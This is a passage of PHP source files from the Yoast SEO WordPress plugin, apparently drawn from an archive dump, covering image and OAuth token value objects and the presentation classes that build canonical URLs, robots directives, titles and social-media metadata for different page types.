	 *
	 * @return void
	 */
	public function add_image( $image ) {
		if ( \is_string( $image ) ) {
			$image = [ 'url' => $image ];
		}

		if ( ! \is_array( $image ) || empty( $image['url'] ) || ! \is_string( $image['url'] ) ) {
			return;
		}

		if ( $this->url->is_relative( $image['url'] ) && $image['url'][0] === '/' ) {
			$image['url'] = $this->url->build_absolute_url( $image['url'] );
		}

		if ( \array_key_exists( $image['url'], $this->images ) ) {
			return;
		}

		$this->images[ $image['url'] ] = $image;
	}
}
wordpress-seo/src/values/twitter/images.php000064400000001720147510273100015126 0ustar00<?php

namespace Yoast\WP\SEO\Values\Twitter;

use Yoast\WP\SEO\Helpers\Twitter\Image_Helper as Twitter_Image_Helper;
use Yoast\WP\SEO\Values\Images as Base_Images;

/**
 * Value object for the twitter Images.
 */
class Images extends Base_Images {

	/**
	 * The twitter image helper.
	 *
	 * @var Twitter_Image_Helper
	 */
	protected $twitter_image;

	/**
	 * Sets the helpers.
	 *
	 * @required
	 *
	 * @codeCoverageIgnore - Is handled by DI-container.
	 *
	 * @param Twitter_Image_Helper $twitter_image Image helper for twitter.
	 *
	 * @return void
	 */
	public function set_helpers( Twitter_Image_Helper $twitter_image ) {
		$this->twitter_image = $twitter_image;
	}

	/**
	 * Adds an image to the list by image ID.
	 *
	 * @param int $image_id The image ID to add.
	 *
	 * @return void
	 */
	public function add_image_by_id( $image_id ) {
		$attachment = $this->twitter_image->get_by_id( $image_id );

		if ( $attachment ) {
			$this->add_image( $attachment );
		}
	}
}
wordpress-seo/src/values/oauth/oauth-token.php000064400000006223147510273100015540 0ustar00<?php

namespace Yoast\WP\SEO\Values\OAuth;

use Yoast\WP\SEO\Exceptions\OAuth\Tokens\Empty_Property_Exception;
use YoastSEO_Vendor\League\OAuth2\Client\Token\AccessTokenInterface;

/**
 * Class OAuth_Token
 */
class OAuth_Token {

	/**
	 * The access token.
	 *
	 * @var string
	 */
	public $access_token;

	/**
	 * The refresh token.
	 *
	 * @var string
	 */
	public $refresh_token;

	/**
	 * The expiration date.
	 *
	 * @var int
	 */
	public $expires;

	/**
	 * Whether or not the token has expired.
	 *
	 * @var bool
	 */
	public $has_expired;

	/**
	 * The timestamp at which the token was created.
	 *
	 * @var int
	 */
	public $created_at;

	/**
	 * The number of times we've gotten an error trying to refresh this token.
	 *
	 * @var int
	 */
	public $error_count;

	/**
	 * OAuth_Token constructor.
	 *
	 * @param string $access_token  The access token.
	 * @param string $refresh_token The refresh token.
	 * @param int    $expires       The date and time at which the token will expire.
	 * @param bool   $has_expired   Whether or not the token has expired.
	 * @param int    $created_at    The timestamp of when the token was created.
	 * @param int    $error_count   The number of times we've gotten an error trying to refresh this token.
	 *
	 * @throws Empty_Property_Exception Exception thrown if a token property is empty.
	 */
	public function __construct( $access_token, $refresh_token, $expires, $has_expired, $created_at, $error_count = 0 ) {

		if ( empty( $access_token ) ) {
			throw new Empty_Property_Exception( 'access_token' );
		}

		$this->access_token = $access_token;

		if ( empty( $refresh_token ) ) {
			throw new Empty_Property_Exception( 'refresh_token' );
		}

		$this->refresh_token = $refresh_token;

		if ( empty( $expires ) ) {
			throw new Empty_Property_Exception( 'expires' );
		}

		$this->expires = $expires;

		if ( \is_null( $has_expired ) ) {
			throw new Empty_Property_Exception( 'has_expired' );
		}

		$this->has_expired = $has_expired;
		$this->created_at  = $created_at;
		$this->error_count = $error_count;
	}

	/**
	 * Creates a new instance based on the passed response.
	 *
	 * @param AccessTokenInterface $response The response object to create a new instance from.
	 *
	 * @return OAuth_Token The token object.
	 *
	 * @throws Empty_Property_Exception Exception thrown if a token property is empty.
	 */
	public static function from_response( AccessTokenInterface $response ) {
		return new self(
			$response->getToken(),
			$response->getRefreshToken(),
			$response->getExpires(),
			$response->hasExpired(),
			\time()
		);
	}

	/**
	 * Determines whether or not the token has expired.
	 *
	 * @return bool Whether or not the token has expired.
	 */
	public function has_expired() {
		return ( \time() >= $this->expires ) || $this->has_expired === true;
	}

	/**
	 * Converts the object to an array.
	 *
	 * @return array The converted object.
	 */
	public function to_array() {
		return [
			'access_token'  => $this->access_token,
			'refresh_token' => $this->refresh_token,
			'expires'       => $this->expires,
			'has_expired'   => $this->has_expired(),
			'created_at'    => $this->created_at,
			'error_count'   => $this->error_count,
		];
	}
}
wordpress-seo/src/values/indexables/indexable-builder-versions.php000064400000002606147510273100021526 0ustar00<?php

namespace Yoast\WP\SEO\Values\Indexables;

/**
 * Class Indexable_Builder_Versions
 */
class Indexable_Builder_Versions {

	public const DEFAULT_INDEXABLE_BUILDER_VERSION = 1;

	/**
	 * The list of indexable builder versions defined by Yoast SEO Free.
	 * If the key is not in this list, the indexable type will not be managed.
	 * These numbers should be increased if one of the builders implements a new feature.
	 *
	 * @var array
	 */
	protected $indexable_builder_versions_by_type = [
		'date-archive'      => self::DEFAULT_INDEXABLE_BUILDER_VERSION,
		'general'           => self::DEFAULT_INDEXABLE_BUILDER_VERSION,
		'home-page'         => 2,
		'post'              => 2,
		'post-type-archive' => 2,
		'term'              => 2,
		'user'              => 2,
		'system-page'       => self::DEFAULT_INDEXABLE_BUILDER_VERSION,
	];

	/**
	 * Provides the most recent version number for an Indexable's object type.
	 *
	 * @param string $object_type The Indexable type for which you want to know the most recent version.
	 *
	 * @return int The most recent version number for the type, or 1 if the version doesn't exist.
	 */
	public function get_latest_version_for_type( $object_type ) {
		if ( ! \array_key_exists( $object_type, $this->indexable_builder_versions_by_type ) ) {
			return self::DEFAULT_INDEXABLE_BUILDER_VERSION;
		}

		return $this->indexable_builder_versions_by_type[ $object_type ];
	}
}
wordpress-seo/src/presentations/indexable-post-type-archive-presentation.php000064400000002715147510273100023610 0ustar00<?php

namespace Yoast\WP\SEO\Presentations;

/**
 * Class Indexable_Post_Type_Archive_Presentation.
 *
 * Presentation object for indexables.
 */
class Indexable_Post_Type_Archive_Presentation extends Indexable_Presentation {

	use Archive_Adjacent;

	/**
	 * Generates the canonical.
	 *
	 * @return string The canonical.
	 */
	public function generate_canonical() {
		$permalink = $this->permalink;
		if ( ! $permalink ) {
			return '';
		}

		$current_page = $this->pagination->get_current_archive_page_number();
		if ( $current_page > 1 ) {
			return $this->pagination->get_paginated_url( $permalink, $current_page );
		}

		return $permalink;
	}

	/**
	 * Generates the robots value.
	 *
	 * @return array The robots value.
	 */
	public function generate_robots() {
		$robots = $this->get_base_robots();

		if ( $this->options->get( 'noindex-ptarchive-' . $this->model->object_sub_type, false ) ) {
			$robots['index'] = 'noindex';
		}

		return $this->filter_robots( $robots );
	}

	/**
	 * Generates the title.
	 *
	 * @return string The title.
	 */
	public function generate_title() {
		if ( $this->model->title ) {
			return $this->model->title;
		}

		$post_type = $this->model->object_sub_type;
		$title     = $this->options->get_title_default( 'title-ptarchive-' . $post_type );

		return $title;
	}

	/**
	 * Generates the source.
	 *
	 * @return array The source.
	 */
	public function generate_source() {
		return [ 'post_type' => $this->model->object_sub_type ];
	}
}
wordpress-seo/src/presentations/indexable-post-type-presentation.php000064400000024645147510273100022177 0ustar00<?php

namespace Yoast\WP\SEO\Presentations;

use Yoast\WP\SEO\Helpers\Date_Helper;
use Yoast\WP\SEO\Helpers\Pagination_Helper;
use Yoast\WP\SEO\Helpers\Post_Helper;
use Yoast\WP\SEO\Helpers\Post_Type_Helper;

/**
 * Class Indexable_Post_Type_Presentation.
 *
 * Presentation object for indexables.
 */
class Indexable_Post_Type_Presentation extends Indexable_Presentation {

	/**
	 * Holds the Post_Type_Helper instance.
	 *
	 * @var Post_Type_Helper
	 */
	protected $post_type;

	/**
	 * Holds the Date_Helper instance.
	 *
	 * @var Date_Helper
	 */
	protected $date;

	/**
	 * Holds the Pagination_Helper instance.
	 *
	 * @var Pagination_Helper
	 */
	protected $pagination;

	/**
	 * Holds the Post_Helper instance.
	 *
	 * @var Post_Helper
	 */
	protected $post;

	/**
	 * Indexable_Post_Type_Presentation constructor.
	 *
	 * @codeCoverageIgnore
	 *
	 * @param Post_Type_Helper  $post_type  The post type helper.
	 * @param Date_Helper       $date       The date helper.
	 * @param Pagination_Helper $pagination The pagination helper.
	 * @param Post_Helper       $post       The post helper.
	 */
	public function __construct(
		Post_Type_Helper $post_type,
		Date_Helper $date,
		Pagination_Helper $pagination,
		Post_Helper $post
	) {
		$this->post_type  = $post_type;
		$this->date       = $date;
		$this->pagination = $pagination;
		$this->post       = $post;
	}

	/**
	 * Generates the canonical.
	 *
	 * @return string The canonical.
	 */
	public function generate_canonical() {
		if ( $this->model->canonical ) {
			return $this->model->canonical;
		}

		$permalink = $this->permalink;

		// Fix paginated pages canonical, but only if the page is truly paginated.
		$current_page = $this->pagination->get_current_post_page_number();
		if ( $current_page > 1 ) {
			$number_of_pages = $this->model->number_of_pages;
			if ( $number_of_pages && $current_page <= $number_of_pages ) {
				$permalink = $this->get_paginated_url( $permalink, $current_page );
			}
		}

		return $this->url->ensure_absolute_url( $permalink );
	}

	/**
	 * Generates the rel prev.
	 *
	 * @return string The rel prev value.
	 */
	public function generate_rel_prev() {
		if ( $this->model->number_of_pages === null ) {
			return '';
		}

		if ( $this->pagination->is_rel_adjacent_disabled() ) {
			return '';
		}

		$current_page = \max( 1, $this->pagination->get_current_post_page_number() );

		// Check if there is a previous page.
		if ( $current_page < 2 ) {
			return '';
		}

		// Check if the previous page is the first page.
		if ( $current_page === 2 ) {
			return $this->model->permalink;
		}

		return $this->get_paginated_url( $this->model->permalink, ( $current_page - 1 ) );
	}

	/**
	 * Generates the rel next.
	 *
	 * @return string The rel prev next.
	 */
	public function generate_rel_next() {
		if ( $this->model->number_of_pages === null ) {
			return '';
		}

		if ( $this->pagination->is_rel_adjacent_disabled() ) {
			return '';
		}

		$current_page = \max( 1, $this->pagination->get_current_post_page_number() );
		if ( $this->model->number_of_pages <= $current_page ) {
			return '';
		}

		return $this->get_paginated_url( $this->model->permalink, ( $current_page + 1 ) );
	}

	/**
	 * Generates the open graph title.
	 *
	 * @return string The open graph title.
	 */
	public function generate_title() {
		if ( $this->model->title ) {
			return $this->model->title;
		}

		// Get SEO title as entered in Search appearance.
		$post_type = $this->model->object_sub_type;
		$title     = $this->options->get( 'title-' . $this->model->object_sub_type );
		if ( $title ) {
			return $title;
		}

		// Get installation default title.
		return $this->options->get_title_default( 'title-' . $post_type );
	}

	/**
	 * Generates the meta description.
	 *
	 * @return string The meta description.
	 */
	public function generate_meta_description() {
		if ( $this->model->description ) {
			return $this->model->description;
		}

		return $this->options->get( 'metadesc-' . $this->model->object_sub_type );
	}

	/**
	 * Generates the open graph description.
	 *
	 * @return string The open graph description.
	 */
	public function generate_open_graph_description() {
		if ( $this->model->open_graph_description ) {
			$open_graph_description = $this->model->open_graph_description;
		}

		if ( empty( $open_graph_description ) ) {
			// The helper applies a filter, but we don't have a default value at this stage so we pass an empty string.
			$open_graph_description = $this->values_helper->get_open_graph_description( '', $this->model->object_type, $this->model->object_sub_type );
		}

		if ( empty( $open_graph_description ) ) {
			$open_graph_description = $this->meta_description;
		}

		if ( empty( $open_graph_description ) ) {
			$open_graph_description = $this->post->get_the_excerpt( $this->model->object_id );
			$open_graph_description = $this->post->strip_shortcodes( $open_graph_description );
		}

		return $open_graph_description;
	}

	/**
	 * Generates the open graph images.
	 *
	 * @return array The open graph images.
	 */
	public function generate_open_graph_images() {
		if ( \post_password_required() ) {
			return [];
		}

		return parent::generate_open_graph_images();
	}

	/**
	 * Generates the Open Graph type.
	 *
	 * @return string The Open Graph type.
	 */
	public function generate_open_graph_type() {
		return 'article';
	}

	/**
	 * Generates the open graph article author.
	 *
	 * @return string The open graph article author.
	 */
	public function generate_open_graph_article_author() {
		if ( $this->model->object_sub_type !== 'post' ) {
			return '';
		}

		$post = $this->source;

		$open_graph_article_author = $this->user->get_the_author_meta( 'facebook', $post->post_author );

		if ( $open_graph_article_author ) {
			return $open_graph_article_author;
		}

		return '';
	}

	/**
	 * Generates the open graph article publisher.
	 *
	 * @return string The open graph article publisher.
	 */
	public function generate_open_graph_article_publisher() {
		$open_graph_article_publisher = $this->context->open_graph_publisher;

		if ( $open_graph_article_publisher ) {
			return $open_graph_article_publisher;
		}

		return '';
	}

	/**
	 * Generates the open graph article published time.
	 *
	 * @return string The open graph article published time.
	 */
	public function generate_open_graph_article_published_time() {
		if ( $this->model->object_sub_type !== 'post' ) {
			/**
			 * Filter: 'wpseo_opengraph_show_publish_date' - Allow showing publication date for other post types.
			 *
			 * @param bool   $show      Whether or not to show publish date.
			 * @param string $post_type The current URL's post type.
			 */
			if ( ! \apply_filters( 'wpseo_opengraph_show_publish_date', false, $this->post->get_post_type( $this->source ) ) ) {
				return '';
			}
		}

		return $this->date->format( $this->source->post_date_gmt );
	}

	/**
	 * Generates the open graph article modified time.
	 *
	 * @return string The open graph article modified time.
	 */
	public function generate_open_graph_article_modified_time() {
		if ( $this->source->post_modified_gmt !== $this->source->post_date_gmt ) {
			return $this->date->format( $this->source->post_modified_gmt );
		}

		return '';
	}

	/**
	 * Generates the source.
	 *
	 * @return array The source.
	 */
	public function generate_source() {
		return \get_post( $this->model->object_id );
	}

	/**
	 * Generates the robots value.
	 *
	 * @return array The robots value.
	 */
	public function generate_robots() {
		$robots = $this->get_base_robots();
		$robots = \array_merge(
			$robots,
			[
				'imageindex' => ( $this->model->is_robots_noimageindex === true ) ? 'noimageindex' : null,
				'archive'    => ( $this->model->is_robots_noarchive === true ) ? 'noarchive' : null,
				'snippet'    => ( $this->model->is_robots_nosnippet === true ) ? 'nosnippet' : null,
			]
		);

		// No snippet means max snippet can be omitted.
		if ( $this->model->is_robots_nosnippet === true ) {
			$robots['max-snippet'] = null;
		}

		// No image index means max image preview can be omitted.
		if ( $this->model->is_robots_noimageindex === true ) {
			$robots['max-image-preview'] = null;
		}

		// When the post specific index is not set, look to the post status and default of the post type.
		if ( $this->model->is_robots_noindex === null ) {
			$post_status_private = \get_post_status( $this->model->object_id ) === 'private';
			$post_type_noindex   = ! $this->post_type->is_indexable( $this->model->object_sub_type );

			if ( $post_status_private || $post_type_noindex ) {
				$robots['index'] = 'noindex';
			}
		}

		return $this->filter_robots( $robots );
	}

	/**
	 * Generates the Twitter description.
	 *
	 * @return string The Twitter description.
	 */
	public function generate_twitter_description() {
		$twitter_description = parent::generate_twitter_description();

		if ( $twitter_description ) {
			return $twitter_description;
		}

		if ( $this->open_graph_description && $this->context->open_graph_enabled === true ) {
			return '';
		}

		return $this->post->get_the_excerpt( $this->model->object_id );
	}

	/**
	 * Generates the Twitter image.
	 *
	 * @return string The Twitter image.
	 */
	public function generate_twitter_image() {
		if ( \post_password_required() ) {
			return '';
		}

		return parent::generate_twitter_image();
	}

	/**
	 * Generates the Twitter creator.
	 *
	 * @return string The Twitter creator.
	 */
	public function generate_twitter_creator() {
		if ( $this->model->object_sub_type !== 'post' ) {
			return '';
		}

		$twitter_creator = \ltrim( \trim( \get_the_author_meta( 'twitter', $this->source->post_author ) ), '@' );

		/**
		 * Filter: 'wpseo_twitter_creator_account' - Allow changing the X account as output in the X card by Yoast SEO.
		 *
		 * @param string $twitter The twitter account name string.
		 */
		$twitter_creator = \apply_filters( 'wpseo_twitter_creator_account', $twitter_creator );

		if ( \is_string( $twitter_creator ) && $twitter_creator !== '' ) {
			return '@' . $twitter_creator;
		}

		$site_twitter = $this->options->get( 'twitter_site', '' );
		if ( \is_string( $site_twitter ) && $site_twitter !== '' ) {
			return '@' . $site_twitter;
		}

		return '';
	}

	/**
	 * Wraps the get_paginated_url pagination helper method.
	 *
	 * @codeCoverageIgnore A wrapper method.
	 *
	 * @param string $url  The un-paginated URL of the current archive.
	 * @param string $page The page number to add on to $url for the $link tag.
	 *
	 * @return string The paginated URL.
	 */
	protected function get_paginated_url( $url, $page ) {
		return $this->pagination->get_paginated_url( $url, $page, false );
	}
}
wordpress-seo/src/presentations/indexable-home-page-presentation.php000064400000002300147510273100022055 0ustar00<?php

namespace Yoast\WP\SEO\Presentations;

/**
 * Class Indexable_Home_Page_Presentation.
 *
 * Presentation object for indexables.
 */
class Indexable_Home_Page_Presentation extends Indexable_Presentation {

	use Archive_Adjacent;

	/**
	 * Generates the canonical.
	 *
	 * @return string The canonical.
	 */
	public function generate_canonical() {
		if ( $this->model->canonical ) {
			return $this->model->canonical;
		}

		if ( ! $this->permalink ) {
			return '';
		}

		$current_page = $this->pagination->get_current_archive_page_number();
		if ( $current_page > 1 ) {
			return $this->pagination->get_paginated_url( $this->permalink, $current_page );
		}

		return $this->permalink;
	}

	/**
	 * Generates the meta description.
	 *
	 * @return string The meta description.
	 */
	public function generate_meta_description() {
		if ( $this->model->description ) {
			return $this->model->description;
		}

		return $this->options->get( 'metadesc-home-wpseo' );
	}

	/**
	 * Generates the title.
	 *
	 * @return string The title.
	 */
	public function generate_title() {
		if ( $this->model->title ) {
			return $this->model->title;
		}

		return $this->options->get_title_default( 'title-home-wpseo' );
	}
}
wordpress-seo/src/presentations/indexable-search-result-page-presentation.php000064400000002635147510273100023721 0ustar00<?php

namespace Yoast\WP\SEO\Presentations;

/**
 * Class Indexable_Search_Result_Page_Presentation.
 *
 * Presentation object for indexables.
 */
class Indexable_Search_Result_Page_Presentation extends Indexable_Presentation {

	/**
	 * Generates the robots value.
	 *
	 * @return array The robots value.
	 */
	public function generate_robots() {
		$robots = $this->get_base_robots();

		$robots['index'] = 'noindex';

		return $this->filter_robots( $robots );
	}

	/**
	 * Generates the title.
	 *
	 * @return string The title.
	 */
	public function generate_title() {
		if ( $this->model->title ) {
			return $this->model->title;
		}

		return $this->options->get_title_default( 'title-search-wpseo' );
	}

	/**
	 * Generates the Twitter title.
	 *
	 * @return string The Twitter title.
	 */
	public function generate_twitter_title() {
		return $this->title;
	}

	/**
	 * Generates the Open Graph URL.
	 *
	 * @return string The Open Graph URL.
	 */
	public function generate_open_graph_url() {
		$search_query = \get_search_query();

		// Regex catches case when /search/page/N without search term is itself mistaken for search term.
		if ( ! empty( $search_query ) && ! \preg_match( '|^page/\d+$|', $search_query ) ) {
			return \get_search_link();
		}

		return '';
	}

	/**
	 * Generates the Open Graph type.
	 *
	 * @return string The Open Graph type.
	 */
	public function generate_open_graph_type() {
		return 'article';
	}
}
wordpress-seo/src/presentations/indexable-error-page-presentation.php000064400000001265147510273100022267 0ustar00<?php

namespace Yoast\WP\SEO\Presentations;

/**
 * Class Indexable_Error_Page_Presentation.
 *
 * Presentation object for indexables.
 */
class Indexable_Error_Page_Presentation extends Indexable_Presentation {

	/**
	 * Generates the robots value.
	 *
	 * @return array The robots value.
	 */
	public function generate_robots() {
		$robots = $this->get_base_robots();

		$robots['index'] = 'noindex';

		return $this->filter_robots( $robots );
	}

	/**
	 * Generates the title.
	 *
	 * @return string The title.
	 */
	public function generate_title() {
		if ( $this->model->title ) {
			return $this->model->title;
		}

		return $this->options->get_title_default( 'title-404-wpseo' );
	}
}
wordpress-seo/src/presentations/indexable-static-home-page-presentation.php000064400000001411147510273100023344 0ustar00<?php

namespace Yoast\WP\SEO\Presentations;

/**
 * Class Indexable_Static_Home_Page_Presentation.
 *
 * Presentation object for indexables.
 */
class Indexable_Static_Home_Page_Presentation extends Indexable_Post_Type_Presentation {

	/**
	 * Wraps the get_paginated_url pagination helper method.
	 *
	 * @param string $url  The un-paginated URL of the current archive.
	 * @param string $page The page number to add on to $url for the $link tag.
	 *
	 * @return string The paginated URL.
	 */
	protected function get_paginated_url( $url, $page ) {
		return $this->pagination->get_paginated_url( $url, $page );
	}

	/**
	 * Generates the Open Graph type.
	 *
	 * @return string The Open Graph type.
	 */
	public function generate_open_graph_type() {
		return 'website';
	}
}
wordpress-seo/src/presentations/indexable-term-archive-presentation.php000064400000012312147510273100022605 0ustar00<?php

namespace Yoast\WP\SEO\Presentations;

use WP_Term;
use Yoast\WP\SEO\Helpers\Taxonomy_Helper;
use Yoast\WP\SEO\Wrappers\WP_Query_Wrapper;

/**
 * Class Indexable_Term_Archive_Presentation.
 *
 * Presentation object for indexables.
 *
 * @property WP_Term $source
 */
class Indexable_Term_Archive_Presentation extends Indexable_Presentation {

	use Archive_Adjacent;

	/**
	 * Holds the WP query wrapper instance.
	 *
	 * @var WP_Query_Wrapper
	 */
	private $wp_query_wrapper;

	/**
	 * Holds the taxonomy helper instance.
	 *
	 * @var Taxonomy_Helper
	 */
	private $taxonomy;

	/**
	 * Indexable_Post_Type_Presentation constructor.
	 *
	 * @codeCoverageIgnore
	 *
	 * @param WP_Query_Wrapper $wp_query_wrapper The wp query wrapper.
	 * @param Taxonomy_Helper  $taxonomy         The Taxonomy helper.
	 */
	public function __construct(
		WP_Query_Wrapper $wp_query_wrapper,
		Taxonomy_Helper $taxonomy
	) {
		$this->wp_query_wrapper = $wp_query_wrapper;
		$this->taxonomy         = $taxonomy;
	}

	/**
	 * Generates the canonical.
	 *
	 * @return string The canonical.
	 */
	public function generate_canonical() {
		if ( $this->is_multiple_terms_query() ) {
			return '';
		}

		if ( $this->model->canonical ) {
			return $this->model->canonical;
		}

		if ( ! $this->permalink ) {
			return '';
		}

		$current_page = $this->pagination->get_current_archive_page_number();
		if ( $current_page > 1 ) {
			return $this->pagination->get_paginated_url( $this->permalink, $current_page );
		}

		return $this->permalink;
	}

	/**
	 * Generates the meta description.
	 *
	 * @return string The meta description.
	 */
	public function generate_meta_description() {
		if ( $this->model->description ) {
			return $this->model->description;
		}

		return $this->options->get( 'metadesc-tax-' . $this->model->object_sub_type );
	}

	/**
	 * Generates the source.
	 *
	 * @return array The source.
	 */
	public function generate_source() {
		if ( ! empty( $this->model->object_id ) || \is_null( \get_queried_object() ) ) {
			return \get_term( $this->model->object_id, $this->model->object_sub_type );
		}

		return \get_term( \get_queried_object()->term_id, \get_queried_object()->taxonomy );
	}

	/**
	 * Generates the Open Graph description.
	 *
	 * @return string The Open Graph description.
	 */
	public function generate_open_graph_description() {
		$open_graph_description = parent::generate_open_graph_description();
		if ( $open_graph_description ) {
			return $open_graph_description;
		}

		return $this->taxonomy->get_term_description( $this->model->object_id );
	}

	/**
	 * Generates the Twitter description.
	 *
	 * @return string The Twitter description.
	 */
	public function generate_twitter_description() {
		$twitter_description = parent::generate_twitter_description();
		if ( $twitter_description ) {
			return $twitter_description;
		}

		if ( $this->open_graph_description && $this->context->open_graph_enabled === true ) {
			return '';
		}

		return $this->taxonomy->get_term_description( $this->model->object_id );
	}

	/**
	 * Generates the robots value.
	 *
	 * @return array The robots value.
	 */
	public function generate_robots() {
		$robots = $this->get_base_robots();

		/**
		 * If its a multiple terms archive page return a noindex.
		 */
		if ( $this->current_page->is_multiple_terms_page() ) {
			$robots['index'] = 'noindex';

			return $this->filter_robots( $robots );
		}

		/**
		 * First we get the no index option for this taxonomy, because it can be overwritten the indexable value for
		 * this specific term.
		 */
		if ( \is_wp_error( $this->source ) || ! $this->taxonomy->is_indexable( $this->source->taxonomy ) ) {
			$robots['index'] = 'noindex';
		}

		/**
		 * Overwrite the index directive when there is a term specific directive set.
		 */
		if ( $this->model->is_robots_noindex !== null ) {
			$robots['index'] = ( $this->model->is_robots_noindex ) ? 'noindex' : 'index';
		}

		return $this->filter_robots( $robots );
	}

	/**
	 * Generates the title.
	 *
	 * @return string The title.
	 */
	public function generate_title() {
		if ( $this->model->title ) {
			return $this->model->title;
		}

		if ( \is_wp_error( $this->source ) ) {
			return $this->model->title;
		}

		// Get the SEO title as entered in Search Appearance.
		$title = $this->options->get( 'title-tax-' . $this->source->taxonomy );
		if ( $title ) {
			return $title;
		}

		// Get the installation default title.
		$title = $this->options->get_title_default( 'title-tax-' . $this->source->taxonomy );

		return $title;
	}

	/**
	 * Generates the Open Graph type.
	 *
	 * @return string The Open Graph type.
	 */
	public function generate_open_graph_type() {
		return 'article';
	}

	/**
	 * Checks if term archive query is for multiple terms (/term-1,term-2/ or /term-1+term-2/).
	 *
	 * @return bool Whether the query contains multiple terms.
	 */
	protected function is_multiple_terms_query() {
		$query = $this->wp_query_wrapper->get_query();

		if ( ! isset( $query->tax_query ) ) {
			return false;
		}

		if ( \is_wp_error( $this->source ) ) {
			return false;
		}

		$queried_terms = $query->tax_query->queried_terms;

		if ( empty( $queried_terms[ $this->source->taxonomy ]['terms'] ) ) {
			return false;
		}

		return \count( $queried_terms[ $this->source->taxonomy ]['terms'] ) > 1;
	}
}
wordpress-seo/src/presentations/indexable-author-archive-presentation.php000064400000010327147510273100023144 0ustar00<?php

namespace Yoast\WP\SEO\Presentations;

use Yoast\WP\SEO\Helpers\Author_Archive_Helper;
use Yoast\WP\SEO\Helpers\Post_Type_Helper;

/**
 * Class Indexable_Author_Archive_Presentation.
 *
 * Presentation object for indexables.
 */
class Indexable_Author_Archive_Presentation extends Indexable_Presentation {

	use Archive_Adjacent;

	/**
	 * Holds the post type helper instance.
	 *
	 * @var Post_Type_Helper
	 */
	protected $post_type;

	/**
	 * Holds the author archive helper instance.
	 *
	 * @var Author_Archive_Helper
	 */
	protected $author_archive;

	/**
	 * Indexable_Author_Archive_Presentation constructor.
	 *
	 * @codeCoverageIgnore
	 *
	 * @param Post_Type_Helper      $post_type      The post type helper.
	 * @param Author_Archive_Helper $author_archive The author archive helper.
	 */
	public function __construct( Post_Type_Helper $post_type, Author_Archive_Helper $author_archive ) {
		$this->post_type      = $post_type;
		$this->author_archive = $author_archive;
	}

	/**
	 * Generates the canonical.
	 *
	 * @return string The canonical.
	 */
	public function generate_canonical() {
		if ( $this->model->canonical ) {
			return $this->model->canonical;
		}

		if ( ! $this->permalink ) {
			return '';
		}

		$current_page = $this->pagination->get_current_archive_page_number();
		if ( $current_page > 1 ) {
			return $this->pagination->get_paginated_url( $this->permalink, $current_page );
		}

		return $this->permalink;
	}

	/**
	 * Generates the title.
	 *
	 * @return string The title.
	 */
	public function generate_title() {
		if ( $this->model->title ) {
			return $this->model->title;
		}

		$option_titles_key = 'title-author-wpseo';
		$title             = $this->options->get( $option_titles_key );
		if ( $title ) {
			return $title;
		}

		return $this->options->get_title_default( $option_titles_key );
	}

	/**
	 * Generates the meta description.
	 *
	 * @return string The meta description.
	 */
	public function generate_meta_description() {
		if ( $this->model->description ) {
			return $this->model->description;
		}

		$option_titles_key = 'metadesc-author-wpseo';
		$description       = $this->options->get( $option_titles_key );
		if ( $description ) {
			return $description;
		}

		return $this->options->get_title_default( $option_titles_key );
	}

	/**
	 * Generates the robots value.
	 *
	 * @return array The robots value.
	 */
	public function generate_robots() {
		$robots = $this->get_base_robots();

		// Global option: "Show author archives in search results".
		if ( $this->options->get( 'noindex-author-wpseo', false ) ) {
			$robots['index'] = 'noindex';
			return $this->filter_robots( $robots );
		}

		$current_author = \get_userdata( $this->model->object_id );

		// Safety check. The call to `get_user_data` could return false (called in `get_queried_object`).
		if ( $current_author === false ) {
			$robots['index'] = 'noindex';
			return $this->filter_robots( $robots );
		}

		$author_archive_post_types = $this->author_archive->get_author_archive_post_types();

		// Global option: "Show archives for authors without posts in search results".
		if ( $this->options->get( 'noindex-author-noposts-wpseo', false ) && $this->user->count_posts( $current_author->ID, $author_archive_post_types ) === 0 ) {
			$robots['index'] = 'noindex';
			return $this->filter_robots( $robots );
		}

		// User option: "Do not allow search engines to show this author's archives in search results".
		if ( $this->user->get_meta( $current_author->ID, 'wpseo_noindex_author', true ) === 'on' ) {
			$robots['index'] = 'noindex';
			return $this->filter_robots( $robots );
		}

		return $this->filter_robots( $robots );
	}

	/**
	 * Generates the Open Graph type.
	 *
	 * @return string The Open Graph type.
	 */
	public function generate_open_graph_type() {
		return 'profile';
	}

	/**
	 * Generates the open graph images.
	 *
	 * @return array The open graph images.
	 */
	public function generate_open_graph_images() {
		if ( $this->context->open_graph_enabled === false ) {
			return [];
		}

		return $this->open_graph_image_generator->generate_for_author_archive( $this->context );
	}

	/**
	 * Generates the source.
	 *
	 * @return array The source.
	 */
	public function generate_source() {
		return [ 'post_author' => $this->model->object_id ];
	}
}
wordpress-seo/src/presentations/indexable-presentation.php000064400000046064147510273100020234 0ustar00<?php

namespace Yoast\WP\SEO\Presentations;

use Yoast\WP\SEO\Context\Meta_Tags_Context;
use Yoast\WP\SEO\Generators\Breadcrumbs_Generator;
use Yoast\WP\SEO\Generators\Open_Graph_Image_Generator;
use Yoast\WP\SEO\Generators\Open_Graph_Locale_Generator;
use Yoast\WP\SEO\Generators\Schema_Generator;
use Yoast\WP\SEO\Generators\Twitter_Image_Generator;
use Yoast\WP\SEO\Helpers\Current_Page_Helper;
use Yoast\WP\SEO\Helpers\Image_Helper;
use Yoast\WP\SEO\Helpers\Indexable_Helper;
use Yoast\WP\SEO\Helpers\Open_Graph\Values_Helper;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Helpers\Permalink_Helper;
use Yoast\WP\SEO\Helpers\Url_Helper;
use Yoast\WP\SEO\Helpers\User_Helper;
use Yoast\WP\SEO\Models\Indexable;

/**
 * Class Indexable_Presentation.
 *
 * Presentation object for indexables.
 *
 * @property string       $title
 * @property string       $meta_description
 * @property array        $robots
 * @property string       $canonical
 * @property string       $rel_next
 * @property string       $rel_prev
 * @property string       $open_graph_type
 * @property string       $open_graph_title
 * @property string       $open_graph_description
 * @property array        $open_graph_images
 * @property int          $open_graph_image_id
 * @property string       $open_graph_image
 * @property string       $open_graph_url
 * @property string       $open_graph_site_name
 * @property string       $open_graph_article_publisher
 * @property string       $open_graph_article_author
 * @property string       $open_graph_article_published_time
 * @property string       $open_graph_article_modified_time
 * @property string       $open_graph_locale
 * @property string       $open_graph_fb_app_id
 * @property string       $permalink
 * @property array        $schema
 * @property string       $twitter_card
 * @property string       $twitter_title
 * @property string       $twitter_description
 * @property string       $twitter_image
 * @property string       $twitter_creator
 * @property string       $twitter_site
 * @property object|array $source
 * @property array        $breadcrumbs
 * @property int          $estimated_reading_time_minutes
 * @property array        $googlebot
